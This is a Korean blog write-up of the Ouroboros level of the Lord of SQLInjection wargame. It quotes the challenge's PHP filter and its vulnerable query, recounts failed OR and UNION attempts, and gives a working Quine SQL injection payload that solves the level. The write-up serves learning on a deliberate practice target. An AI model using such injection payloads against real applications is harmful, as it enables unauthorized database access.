워게임/Lord of SQLInjection [Lord of SQLInjection] Ouroboros Write UP 작성자 - LRTK 공격 백터 Get 메소드 : pw 입력 값에 대한 검증 pw : prob, _, ., rollup, join, @ 필터링 코드 설명 if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~"); 위에 언급하였던 prob, _, ., rollup, join, @ 필터링이다.pw에 필터링 목록이 있다면 No Hack ~_~을 출력하고 종료한다. $query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; 필터링에 걸리지 않았다면 select pw from prob_ouroboros where pw='{$_GET[pw]}'에 삽입된다.그 후 삽입된 쿼리문을 출력한다. $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>"; if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros"); 쿼리문의 결과값 pw이 있다면 출력한다.그 후 결과값 pw와 입력한 pw이 같다면 클리어하게 된다. 문제 풀이 Try - 1 테스트를 위해 위와 같은 테이블을 만들었다. 문제의 쿼리문으로 생각한 결과 or '1'='1'를 이용한다면 위와 테이블에 들어있는 pw을 모두 출력할 수 있다고 생각이 들었다. 하지만 아무 것도 출력되지 않았다.해당 결과는 테이블 속에 아무 값도 들어있지 않다고 가정할 수 있다. 아무 값도 들어있지 않으면 Union 문을 이용하여 원하는 값을 출력할 수 있다.하지만 쿼리문의 결과값 pw와 입력한 pw가 같아야 하는 문제임으로 Union 문은 아닌 듯 싶지만 일단 한번 테스트를 해보겠다. Try - 2 위와 같이 내가 원하는 대로 pw에 값을 넣을 수 있다. 문제에서도 테스트해보니 아주 잘 되는 것을 확인 할 수 있었다. 문제를 풀 수 있는 방법을 찾아보려고 했지만 도저히 찾을 수가 없어서 결국엔 다른 사람의 풀이를 참고하였다.거기서 Quine SQLi에 대하여 배울 수 있었다. Quine SQL이란?Quine은 소스코드를 그대로 출력으로 반환하는 프로그램을 의미한다.Quine SQL은 입력된 쿼리문을 그대로 반환하는 것으로 생각하면 된다.참고 사이트 : Quine SQL Injection, SQL Injection Tech Quine Query(Quine SQL Injection) ?pw=’ union select replace(replace(‘” union select replace(replace(“$”,char(34),char(39)),char(36),”$”)#',char(34),char(39)),char(36),'" union select replace(replace("$",char(34),char(39)),char(36),"$")#’)# Quine SQLi 설명에 나온 참고 사이트를 참고하여 Quine SQLi를 시도하니 문제를 클리어할 수 있었다. 공유하기 게시글 관리 MSS '워게임 > Lord of SQLInjection' 카테고리의 다른 글 [Lord of SQLInjection] Alien Write UP (0) 2021.09.07 [Lord of SQLInjection] Zombie Write UP (0) 2021.09.01 [Lord of SQLInjection] Phantom Write UP (0) 2021.08.26 [Lord of SQLInjection] Frankenstein Write UP (0) 2021.08.25 [Lord of SQLInjection] Blue Dragon Write UP (0) 2021.08.19 Contents 당신이 좋아할만한 콘텐츠 [Lord of SQLInjection] Alien Write UP 2021.09.07 [Lord of SQLInjection] Zombie Write UP 2021.09.01 [Lord of SQLInjection] Phantom Write UP 2021.08.26 [Lord of SQLInjection] Frankenstein Write UP 2021.08.25 댓글 0 + 이전 댓글 더보기